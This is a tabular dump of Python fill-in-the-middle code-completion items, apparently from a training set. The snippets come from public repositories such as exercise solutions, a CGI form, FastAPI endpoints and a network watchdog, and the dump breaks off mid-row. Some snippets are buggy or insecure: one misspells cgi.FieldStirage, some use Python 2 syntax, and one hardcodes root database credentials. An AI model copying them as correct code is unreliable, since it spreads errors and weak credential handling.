text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_suffix|>sort_by_character(["mate", "team", "bade"], 3) ➞ ["team", "bade", "mate"]
"""
def sort_by_character(lst, n):
return sorted(lst, key = lambda x: x[n-1])
print(sort_by_character(["mate", "team", "bade"], 3))<|fim_prefix|># repo: ppinko/python_exercises path: /sort/sort_by_character.py
"""
https://eda... | code_fim | medium | {
"lang": "python",
"repo": "ppinko/python_exercises",
"path": "/sort/sort_by_character.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ppinko/python_exercises path: /sort/sort_by_character.py
"""
https://edabit.com/challenge/NQToxLLFCjugHWBoZ
sort_by_character(["az16", "by35", "cx24"], 2) ➞ ["cx24", "by35", "az16"]
// By 2nd character: ["x", "y", "z"] is in alphabetical order.
<|fim_suffix|> return sorted(lst, key = lambda ... | code_fim | hard | {
"lang": "python",
"repo": "ppinko/python_exercises",
"path": "/sort/sort_by_character.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Vayne-Lover/Python path: /cgi/cgi.cgi
#!/usr/local/bin/python
import cgi
form=cgi.FieldStirage()
<|fim_suffix|>print '''
<html>
<head>
<title>Page</title>
</head>
<body>
<h1>Hello,%s</h1>
<form action='cgi.cgi'>
Change name<input type='text' name='name' />
<input t... | code_fim | easy | {
"lang": "python",
"repo": "Vayne-Lover/Python",
"path": "/cgi/cgi.cgi",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>print '''
<html>
<head>
<title>Page</title>
</head>
<body>
<h1>Hello,%s</h1>
<form action='cgi.cgi'>
Change name<input type='text' name='name' />
<input type='submit'/>
</form>
</body>
</html>
'''%name<|fim_prefix|># repo: Vayne-Lover/Python path: /cgi/cgi.cgi
#!/usr/l... | code_fim | easy | {
"lang": "python",
"repo": "Vayne-Lover/Python",
"path": "/cgi/cgi.cgi",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> {'name': 'AGENT TITLE', 'number': '23-8.'},
{'name': 'AGENT TELEPHONE', 'number': '24-8.'},
{'name': 'BANK NAME', 'number': '25-9.'},
{'name': 'BANK STREET 1', 'number': '26-9.'},
{'name': 'BANK STREET 2', 'number': '26-9.'},
{'name': ... | code_fim | hard | {
"lang": "python",
"repo": "h4ck3rm1k3/FEC-Field-Documentation",
"path": "/fec/version/v6_2/F1S.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: h4ck3rm1k3/FEC-Field-Documentation path: /fec/version/v6_2/F1S.py
import fechbase
class Records(fechbase.RecordsBase):
def __init__(self):
fechbase.RecordsBase.__init__(self)
self.fields = [
{'name': 'FORM TYPE', 'number': '1'},
{'name': 'FILER COMMITTE... | code_fim | hard | {
"lang": "python",
"repo": "h4ck3rm1k3/FEC-Field-Documentation",
"path": "/fec/version/v6_2/F1S.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wsb310/hagworm path: /testing/test_extend_asyncio_net.py
# -*- coding: utf-8 -*-
import pytest
from hagworm.extend.asyncio.base import MultiTasks
from hagworm.extend.asyncio.net import HTTPClient, HTTPTextClient, HTTPJsonClient, HTTPTouchClient
from hagworm.extend.asyncio.net import HTTPClientP... | code_fim | hard | {
"lang": "python",
"repo": "wsb310/hagworm",
"path": "/testing/test_extend_asyncio_net.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> await self._http_client(pool)
await self._http_client_pool(pool)
await pool.close()
async def test_http_touch_client_pool(self):
pool = HTTPTouchClientPool()
await self._http_client(pool)
await self._http_client_pool(pool)
await pool.close()... | code_fim | hard | {
"lang": "python",
"repo": "wsb310/hagworm",
"path": "/testing/test_extend_asyncio_net.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
t.bulk_upsert(olist)
end = time.time()
print("inserting {} elements took: {}".format(str(NUM), str(end - start)))<|fim_prefix|># repo: pythononwheels/pow_devel path: /pythononwheels/start/stuff/simple_speed_test_redis.py
#
# simpletest redis
#
from redis2.models.redis.testdata import Testdata
import t... | code_fim | hard | {
"lang": "python",
"repo": "pythononwheels/pow_devel",
"path": "/pythononwheels/start/stuff/simple_speed_test_redis.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pythononwheels/pow_devel path: /pythononwheels/start/stuff/simple_speed_test_redis.py
#
# simpletest redis
#
from redis2.models.redis.testdata import Testdata
import time
olist=[]
NUM=100000
print("p<|fim_suffix|>
t.bulk_upsert(olist)
end = time.time()
print("inserting {} elements took: {}".for... | code_fim | hard | {
"lang": "python",
"repo": "pythononwheels/pow_devel",
"path": "/pythononwheels/start/stuff/simple_speed_test_redis.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gsnidero/snorkel path: /snorkel/augmentation/__init__.py
"""Programmatic data set augmentation: TF creation and data generation utilities."""
from .apply.core imp<|fim_suffix|>t ApplyAllPolicy, ApplyEachPolicy, ApplyOnePolicy # noqa: F401
from .policy.sampling import MeanFieldPolicy, RandomPoli... | code_fim | medium | {
"lang": "python",
"repo": "gsnidero/snorkel",
"path": "/snorkel/augmentation/__init__.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>y, RandomPolicy # noqa: F401
from .tf import TransformationFunction, transformation_function # noqa: F401<|fim_prefix|># repo: gsnidero/snorkel path: /snorkel/augmentation/__init__.py
"""Programmatic data set augmentation: TF creation and data generation utilities."""
from .apply.core imp<|fim_middle|... | code_fim | hard | {
"lang": "python",
"repo": "gsnidero/snorkel",
"path": "/snorkel/augmentation/__init__.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> db: Session = Depends(deps.get_db),
item: models.Item = Depends(deps.get_owned_item_by_id),
current_user: schemas.UserInDB = Depends(deps.get_current_active_user),
) -> Any:
"""
Delete an item.
"""
item = crud.item.remove(db=db, id=item.id)
return item<|fim_prefix|># repo: ... | code_fim | hard | {
"lang": "python",
"repo": "sam-mosleh/full-stack-fastapi-postgresql",
"path": "/{{cookiecutter.project_slug}}/backend/app/app/api/api_v1/endpoints/items/main.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sam-mosleh/full-stack-fastapi-postgresql path: /{{cookiecutter.project_slug}}/backend/app/app/api/api_v1/endpoints/items/main.py
from typing import Any, List
from fastapi import APIRouter, Depends
from sqlalchemy.orm import Session
from app import crud, models, schemas
from app.api import deps
... | code_fim | hard | {
"lang": "python",
"repo": "sam-mosleh/full-stack-fastapi-postgresql",
"path": "/{{cookiecutter.project_slug}}/backend/app/app/api/api_v1/endpoints/items/main.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@router.put("/{id}", response_model=schemas.Item)
def update_item(
item_in: schemas.ItemUpdate,
db: Session = Depends(deps.get_db),
item: models.Item = Depends(deps.get_owned_item_by_id),
current_user: schemas.UserInDB = Depends(deps.get_current_active_user),
) -> Any:
"""
Update ... | code_fim | hard | {
"lang": "python",
"repo": "sam-mosleh/full-stack-fastapi-postgresql",
"path": "/{{cookiecutter.project_slug}}/backend/app/app/api/api_v1/endpoints/items/main.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Perform validation of the configuration file.
Check for required keys, invalid conditions,
or other weirdness.
"""
config = self.config
# which doc types are enabled
need_at_least_one = ['GOOGLE_DRIVE_ENABLED','GITHUB_ENABLED','DISQUS_EN... | code_fim | hard | {
"lang": "python",
"repo": "chmreid/centillion",
"path": "/src/webapp/flask_app.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: chmreid/centillion path: /src/webapp/flask_app.py
from .const import base, call, DEFAULT_CONFIG
from flask import Flask, request, abort, render_template
import os, sys
import json
import logging
from pathlib import Path
"""
Centillion Flask App
Extend the Flask class for centillion.
This Fla... | code_fim | hard | {
"lang": "python",
"repo": "chmreid/centillion",
"path": "/src/webapp/flask_app.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: brunopcarv/id4control path: /model_predator_prey.py
#!/usr/bin/env python
# -*- coding: utf-8 vi:noet
# Predator-Prey Example - Lotka-Volterra Model
import numpy as np
import math
class PredatorPreyModel():
<|fim_suffix|> u = self.forcing()
if 1:
u = 0
# self.x1 = x1_temp + self.a*x1_te... | code_fim | hard | {
"lang": "python",
"repo": "brunopcarv/id4control",
"path": "/model_predator_prey.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> x1_temp = self.x1
x2_temp = self.x2
u = self.forcing()
if 1:
u = 0
# self.x1 = x1_temp + self.a*x1_temp - self.a*x1_temp**2- self.b*x1_temp*x2_temp + u**2
self.x1 = x1_temp + (self.a*x1_temp - self.b*x1_temp*x2_temp + u**2)*self.dt
self.x2 = x2_temp + (-self.c*x2_temp + self.d*x1_temp*x2... | code_fim | hard | {
"lang": "python",
"repo": "brunopcarv/id4control",
"path": "/model_predator_prey.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.send_response(200)
self.end_headers()
data=self.data_string.split('&')
dict={}
for i in data:
dt=i.split('=')
dict[dt[0]]=dt[1]
#print 'key: ',dt[0],' value: ',dt[1]
print dict
if 'getLocations' in dict:
... | code_fim | medium | {
"lang": "python",
"repo": "NamalJayasuriya/eloc",
"path": "/eloc-server/webServer.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> data=self.data_string.split('&')
dict={}
for i in data:
dt=i.split('=')
dict[dt[0]]=dt[1]
#print 'key: ',dt[0],' value: ',dt[1]
print dict
if 'getLocations' in dict:
data2=getColomn(db,'location')
#print ... | code_fim | hard | {
"lang": "python",
"repo": "NamalJayasuriya/eloc",
"path": "/eloc-server/webServer.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: NamalJayasuriya/eloc path: /eloc-server/webServer.py
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer
import simplejson
import random
import MySQLdb
from dbHandler import *
# Open database connection
db = MySQLdb.connect("localhost","root","root","elocate" )
cl... | code_fim | hard | {
"lang": "python",
"repo": "NamalJayasuriya/eloc",
"path": "/eloc-server/webServer.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def search():
user_search = str(input('Search: '))
search_counter = user_text.lower().count(user_search.lower())
print(user_search, ' Occurrences: ', search_counter)<|fim_prefix|># repo: talonbrinkman/Text-Analyzer path: /TextAnalyzerUtils.py
def open_file():
file_directory = str(in... | code_fim | hard | {
"lang": "python",
"repo": "talonbrinkman/Text-Analyzer",
"path": "/TextAnalyzerUtils.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: talonbrinkman/Text-Analyzer path: /TextAnalyzerUtils.py
def open_file():
file_directory = str(input('File Directory: '))
f = open(file_directory, 'r')
global user_text
user_text = f.read()
<|fim_suffix|>def search():
user_search = str(input('Search: '))
search_cou... | code_fim | hard | {
"lang": "python",
"repo": "talonbrinkman/Text-Analyzer",
"path": "/TextAnalyzerUtils.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@staticmethod
def fromProtocolTreeNode(node):
entity = NotificationProtocolEntity.fromProtocolTreeNode(node)
entity.__class__ = ContactNotificationProtocolEntity
return entity<|fim_prefix|># repo: pasinit/yowsup path: /yowsup/layers/protocol_contacts/protocolentities/noti... | code_fim | hard | {
"lang": "python",
"repo": "pasinit/yowsup",
"path": "/yowsup/layers/protocol_contacts/protocolentities/notification_contact.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pasinit/yowsup path: /yowsup/layers/protocol_contacts/protocolentities/notification_contact.py
from yowsup.structs import ProtocolEntity, ProtocolTreeNode
from yowsup.layers.protocol_notifications.protocolentities import NotificationProtocolEntity
class ContactNotificationProtocolEntity(Notificat... | code_fim | hard | {
"lang": "python",
"repo": "pasinit/yowsup",
"path": "/yowsup/layers/protocol_contacts/protocolentities/notification_contact.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> '''
def __init__(self, _type, _id, _from, status, timestamp, notify, offline = False):
super(ContactNotificationProtocolEntity, self).__init__("contacts", _id, _from, timestamp, notify, offline)
@staticmethod
def fromProtocolTreeNode(node):
entity = NotificationProtocol... | code_fim | medium | {
"lang": "python",
"repo": "pasinit/yowsup",
"path": "/yowsup/layers/protocol_contacts/protocolentities/notification_contact.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def getIncludedFiles():
return {'css':'setextent/css/setextent.css',
'js': 'setextent/js/setExtent.js'}<|fim_prefix|># repo: mapgears/scribeui path: /scribeui_pyramid/modules/plugins/setextent/__init__.py
def includeme(config):
<|fim_middle|> config.add_static_view(name='setextent', pa... | code_fim | medium | {
"lang": "python",
"repo": "mapgears/scribeui",
"path": "/scribeui_pyramid/modules/plugins/setextent/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return {'css':'setextent/css/setextent.css',
'js': 'setextent/js/setExtent.js'}<|fim_prefix|># repo: mapgears/scribeui path: /scribeui_pyramid/modules/plugins/setextent/__init__.py
def includeme(config):
<|fim_middle|> config.add_static_view(name='setextent', path='static')
config.... | code_fim | medium | {
"lang": "python",
"repo": "mapgears/scribeui",
"path": "/scribeui_pyramid/modules/plugins/setextent/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mapgears/scribeui path: /scribeui_pyramid/modules/plugins/setextent/__init__.py
def includeme(config):
config.add_static_view(name='setextent', path='static')
config.scan('.')
<|fim_suffix|> return {'css':'setextent/css/setextent.css',
'js': 'setextent/js/setExtent.js'}<|f... | code_fim | easy | {
"lang": "python",
"repo": "mapgears/scribeui",
"path": "/scribeui_pyramid/modules/plugins/setextent/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sdv-dev/SDMetrics path: /sdmetrics/single_table/privacy/numerical_sklearn.py
"""Numerical sklearn privacy metric modules and their attackers."""
import numpy as np
from sklearn.linear_model import LinearRegression
from sklearn.neural_network import MLPRegressor
from sklearn.svm import SVR
from ... | code_fim | hard | {
"lang": "python",
"repo": "sdv-dev/SDMetrics",
"path": "/sdmetrics/single_table/privacy/numerical_sklearn.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """The Multi-layer Perceptron regression privacy metric. Scored based on the MLPAttacker."""
name = 'Multi-layer Perceptron Regression'
MODEL = MLPAttacker
class SVRAttacker(NumericalSklearnAttacker):
"""The privacy attaker based on the SVR (Support-vector Regression) model."""
SKL... | code_fim | hard | {
"lang": "python",
"repo": "sdv-dev/SDMetrics",
"path": "/sdmetrics/single_table/privacy/numerical_sklearn.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: luozm/frog path: /code/net/layer/mask_nms.py
import os
import cv2
import numpy as np
from common import np_sigmoid
from utility.draw import image_show
from net.lib.box.overlap.cython_overlap.cython_box_overlap import cython_box_overlap
def make_empty_masks(cfg, mode, inputs):#<todo>
... | code_fim | hard | {
"lang": "python",
"repo": "luozm/frog",
"path": "/code/net/layer/mask_nms.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> L = len(index)
instance_overlap = np.zeros((L,L),np.float32)
for i in range(L):
instance_overlap[i,i] = 1
for j in range(i+1,L):
if box_overlap[i,j]<0.01: continue
x0 = int(min(box[i,0],box[... | code_fim | hard | {
"lang": "python",
"repo": "luozm/frog",
"path": "/code/net/layer/mask_nms.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> intersection = (instance[i,y0:y1,x0:x1] & instance[j,y0:y1,x0:x1]).sum()
area = (instance[i,y0:y1,x0:x1] | instance[j,y0:y1,x0:x1]).sum()
instance_overlap[i,j] = intersection/(area + 1e-12)
instance_overlap[j,i] = instance_... | code_fim | hard | {
"lang": "python",
"repo": "luozm/frog",
"path": "/code/net/layer/mask_nms.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> print(msg.topic + " " + str(msg.payload))
print("Received message " + str(msg.payload.decode("utf-8")))
client = mqtt.Client("enes")
client.on_connect = on_connect
client.on_message = on_message
client.connect("test.mosquitto.org",1883, 60)
client.loop_forever()<|fim_prefix|># repo: ismailenesk... | code_fim | hard | {
"lang": "python",
"repo": "ismaileneskirli/Analytics-Platform",
"path": "/anomaly/temp_model.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ismaileneskirli/Analytics-Platform path: /anomaly/temp_model.py
import numpy as np
import matplotlib.pyplot as plt
from celluloid import Camera
from collections import defaultdict
from functools import partial
from tqdm import tqdm
from tsmoothie.utils_func import sim_randomwalk, sim_seasonal_da... | code_fim | hard | {
"lang": "python",
"repo": "ismaileneskirli/Analytics-Platform",
"path": "/anomaly/temp_model.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if 'ano_id' in pltargs.keys():
if pltargs['ano_id'].sum()>0:
not_zeros = pltargs['ano_id'][pltargs['ano_id']!=0] -1
ax.scatter(not_zeros, pltargs['original'][1:][not_zeros],
c='red', alpha=1.)
## how to act when connecting to broker
def on_conn... | code_fim | hard | {
"lang": "python",
"repo": "ismaileneskirli/Analytics-Platform",
"path": "/anomaly/temp_model.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>########################################################################################
"""Importing Modules"""
########################################################################################
import numpy as np
import os
import subprocess
#########################################################... | code_fim | medium | {
"lang": "python",
"repo": "AlejandroRios/IAANDOCAC-aircraft-framework",
"path": "/aircraft_framework_win/framework_Bento_win/execute_fpwb.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: AlejandroRios/IAANDOCAC-aircraft-framework path: /aircraft_framework_win/framework_Bento_win/execute_fpwb.py
"""
Function : execute_fpwb.py
Title : Execute fpwb full potential method
Written by: Alejandro Rios
Date : November/2019
Last edit : August/2020
Language : Python
Aeronautical ... | code_fim | hard | {
"lang": "python",
"repo": "AlejandroRios/IAANDOCAC-aircraft-framework",
"path": "/aircraft_framework_win/framework_Bento_win/execute_fpwb.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>class ResourceRequest(CreatedUpdatedModel, models.Model):
"""A request from an Organization for access to a member's access token."""
organization = models.ForeignKey(
Organization, on_delete=models.CASCADE, related_name='resource_requests'
)
member = models.ForeignKey(
se... | code_fim | hard | {
"lang": "python",
"repo": "TransparentHealth/smh_app",
"path": "/apps/org/models.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: TransparentHealth/smh_app path: /apps/org/models.py
from importlib import import_module
from django.conf import settings
from django.db import models
from django.db.models.signals import post_save
from django.dispatch import receiver
from django.urls import reverse
from django.utils.html import ... | code_fim | hard | {
"lang": "python",
"repo": "TransparentHealth/smh_app",
"path": "/apps/org/models.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> class Meta:
verbose_name_plural = "Resource Requests"
@receiver(post_save, sender=ResourceRequest)
def create_or_update_resource_request_notifications(
sender, instance, created, **kwargs
):
"""Create Notifications related to the ResourceRequest, while deleting existing notifications... | code_fim | hard | {
"lang": "python",
"repo": "TransparentHealth/smh_app",
"path": "/apps/org/models.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wsavran/csep_db path: /artifacts/queries.py
import sqlite3
def query(cursor, query):
"""
performs query on database
:param cursor: cursor to sqlite3 database
:param query: sql statements to query
:return:
"""
out = []
c = cursor.execute(query)
out.append(c.fe... | code_fim | hard | {
"lang": "python",
"repo": "wsavran/csep_db",
"path": "/artifacts/queries.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> for stmnt in stmnts:
results.append(query(cur, stmnt))
# grab only the first query
for result in results[query_no]:
for tup in result:
print(tup)
print('\n')<|fim_prefix|># repo: wsavran/csep_db path: /artifacts/queries.py
import sqlite3
def query(cursor,... | code_fim | hard | {
"lang": "python",
"repo": "wsavran/csep_db",
"path": "/artifacts/queries.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def get_std_opt(model):
return NoamOpt(model.src_embed[0].d_model, 2, 4000,
torch.optim.Adam(model.parameters(), lr=0, betas=(0.9, 0.98), eps=1e-9))
# =============================================================================
#
# Regularization : 正则化
#
# ============================... | code_fim | hard | {
"lang": "python",
"repo": "youyusama/autoComplete",
"path": "/autoComapp/Autocomplete_Transformer/Optim.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># =============================================================================
#
# Regularization : 正则化
#
# =============================================================================
class LabelSmoothing(nn.Module):
"实现平滑标签"
#即将one-hot编码中的0改成很小的数,1改成接近1的数
def __init__(self, size, padding_idx, smoot... | code_fim | hard | {
"lang": "python",
"repo": "youyusama/autoComplete",
"path": "/autoComapp/Autocomplete_Transformer/Optim.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: youyusama/autoComplete path: /autoComapp/Autocomplete_Transformer/Optim.py
import torch
import torch.nn as nn
from torch.autograd import Variable
# =============================================================================
#
# Optimizer : 优化器 使用Adam优化器
#
# ====================================... | code_fim | medium | {
"lang": "python",
"repo": "youyusama/autoComplete",
"path": "/autoComapp/Autocomplete_Transformer/Optim.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: liuyf5231/frenet path: /python/gui/widgets/mplwidget.py
from __future__ import unicode_literals
from PySide2 import QtWidgets
#from PyQt5 import QtCore, QtWidgets
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as Canvas
#from matplotlib.figure import Figure
#from abc import A... | code_fim | hard | {
"lang": "python",
"repo": "liuyf5231/frenet",
"path": "/python/gui/widgets/mplwidget.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.m_oFig = i_oFig
#self.ax = self.m_oFig.add_subplot(position)
Canvas.__init__(self, self.m_oFig)
Canvas.setSizePolicy(self, QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)
Canvas.updateGeometry(self)
# Matplotlib widget
class MplWidget(QtWidge... | code_fim | medium | {
"lang": "python",
"repo": "liuyf5231/frenet",
"path": "/python/gui/widgets/mplwidget.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: XiangyuDing/Beginning-Python path: /Beginning/python3_cookbook/ch02/10-reUnicode.py
# 2.10 在正则式中使用Unicode
import re
num = re.compile('\d+')
# ASCII digits
print(num.match('123'))
# Arabic digits
print(num.match('\u0661\u0662\u0663'))
<|fim_suffix|>pat = re.compile('stra\u00dfe', re.IGNORECASE)
... | code_fim | medium | {
"lang": "python",
"repo": "XiangyuDing/Beginning-Python",
"path": "/Beginning/python3_cookbook/ch02/10-reUnicode.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>pat = re.compile('stra\u00dfe', re.IGNORECASE)
s = 'straße'
print(pat.match(s)) # Matches
print(pat.match(s.upper()))
print(s.upper())<|fim_prefix|># repo: XiangyuDing/Beginning-Python path: /Beginning/python3_cookbook/ch02/10-reUnicode.py
# 2.10 在正则式中使用Unicode
import re
num = re.compile('\d+')
# ASCII ... | code_fim | medium | {
"lang": "python",
"repo": "XiangyuDing/Beginning-Python",
"path": "/Beginning/python3_cookbook/ch02/10-reUnicode.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> rc = 0
ap = argparse.ArgumentParser()
ap.add_argument('--daemon', action='store_true', default=False)
ap.add_argument('--chkperiod', type=int, default=30,
help="period in secs to wakeup and check")
args = ap.parse_args()
if args.daemon:
rc = 1
si... | code_fim | hard | {
"lang": "python",
"repo": "drtaul/remotenm",
"path": "/remotenm/mfi/check_network.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: drtaul/remotenm path: /remotenm/mfi/check_network.py
#!/usr/bin/env python
"""
Ping the internet connection, if ping fails
power cycle the network gateway (modem).
"""
import os
import sys
import argparse
import time
import syslog
import subprocess
import signal
import requests
from urlparse impo... | code_fim | hard | {
"lang": "python",
"repo": "drtaul/remotenm",
"path": "/remotenm/mfi/check_network.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ajeshgeorge1992/ag-services path: /prophecy/selfservice/migrations/0002_auto_20210609_0221.py
# Generated by Django 3.2.4 on 2021-06-09 02:21
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
<|fim_suffix|> operations = [
mi... | code_fim | medium | {
"lang": "python",
"repo": "ajeshgeorge1992/ag-services",
"path": "/prophecy/selfservice/migrations/0002_auto_20210609_0221.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> dependencies = [
('selfservice', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='winner',
old_name='draw_tiem',
new_name='day',
),
migrations.AddField(
model_name='winner',
name='... | code_fim | medium | {
"lang": "python",
"repo": "ajeshgeorge1992/ag-services",
"path": "/prophecy/selfservice/migrations/0002_auto_20210609_0221.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> split_line = line[:-1].split('\t')
abundance = 100*float(split_line[1])/overall_abund
annotation = split_line[0].split('|')
charact = annotation[0].split(':')
charact_id = charact[0]
char_name = ''
... | code_fim | hard | {
"lang": "python",
"repo": "ASaiM/galaxytools",
"path": "/tools/combine_metaphlan2_humann2/combine_metaphlan2_humann2.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ASaiM/galaxytools path: /tools/combine_metaphlan2_humann2/combine_metaphlan2_humann2.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
def extract_clade_abundance(metaphlan2_fp):
clade_abund = {}
with open(metaphlan2_fp, 'r') as metaphlan2_f:
for line in metaphla... | code_fim | hard | {
"lang": "python",
"repo": "ASaiM/galaxytools",
"path": "/tools/combine_metaphlan2_humann2/combine_metaphlan2_humann2.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> formatted_n = name
formatted_n = formatted_n.replace('/', ' ')
formatted_n = formatted_n.replace('-', ' ')
formatted_n = formatted_n.replace("'", '')
if formatted_n.find('(') != -1 and formatted_n.find(')') != -1:
open_bracket = formatted_n.find('(')
close_bracket = for... | code_fim | hard | {
"lang": "python",
"repo": "ASaiM/galaxytools",
"path": "/tools/combine_metaphlan2_humann2/combine_metaphlan2_humann2.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: carpedkm/vedatad path: /vedatad/models/necks/srm.py
import torch.nn as nn
from vedacore.misc import build_from_module, registry
<|fim_suffix|> pass
def forward(self, x):
x = self.srm(x)
x = x.squeeze(-1).squeeze(-1)
return x<|fim_middle|>@registry.register_... | code_fim | hard | {
"lang": "python",
"repo": "carpedkm/vedatad",
"path": "/vedatad/models/necks/srm.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, srm_cfg):
super(SRM, self).__init__()
self.srm = build_from_module(srm_cfg, nn)
def init_weights(self):
pass
def forward(self, x):
x = self.srm(x)
x = x.squeeze(-1).squeeze(-1)
return x<|fim_prefix|># repo: carpedkm/vedatad ... | code_fim | medium | {
"lang": "python",
"repo": "carpedkm/vedatad",
"path": "/vedatad/models/necks/srm.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> async def async_added_to_opp(self):
"""Call when entity is added to opp."""
self.opp.data[DOMAIN]["entities"]["scene"].append(self)
def activate(self, **kwargs: Any) -> None:
"""Activate the scene."""
self.wink.activate()<|fim_prefix|># repo: OpenPeerPower/core pa... | code_fim | hard | {
"lang": "python",
"repo": "OpenPeerPower/core",
"path": "/openpeerpower/components/wink/scene.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: OpenPeerPower/core path: /openpeerpower/components/wink/scene.py
"""Support for Wink scenes."""
from typing import Any
import pywink
from openpeerpower.components.scene import Scene
<|fim_suffix|> def __init__(self, wink, opp):
"""Initialize the Wink device."""
super().__ini... | code_fim | hard | {
"lang": "python",
"repo": "OpenPeerPower/core",
"path": "/openpeerpower/components/wink/scene.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> for letter in 'Python': # First Example
